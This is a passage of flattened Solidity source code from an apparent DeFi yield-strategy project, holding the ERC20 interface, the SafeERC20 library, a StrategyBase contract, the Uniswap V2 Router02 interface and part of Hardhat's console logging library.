*/ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //SPDX-License-Identifier: Unlicense pragma solidity 0.5.16; import "hardhat/console.sol"; import "./inheritance/RewardTokenProfitNotifier.sol"; import "./interface/IStrategy.sol"; contract StrategyBase is IStrategy, RewardTokenProfitNotifier { using SafeMath for uint256; using SafeERC20 for IERC20; event ProfitsNotCollected(address); event Liquidating(address, uint256); address public underlying; address public vault; mapping (address => bool) public unsalvagableTokens; address public uniswapRouterV2; modifier restricted() { require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()), "The sender has to be the controller or vault or governance"); _; } constructor( address _storage, address _underlying, address _vault, address _rewardToken, address _uniswap ) RewardTokenProfitNotifier(_storage, _rewardToken) public { underlying = _underlying; vault = _vault; unsalvagableTokens[_rewardToken] = true; unsalvagableTokens[_underlying] = true; uniswapRouterV2 = _uniswap; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { 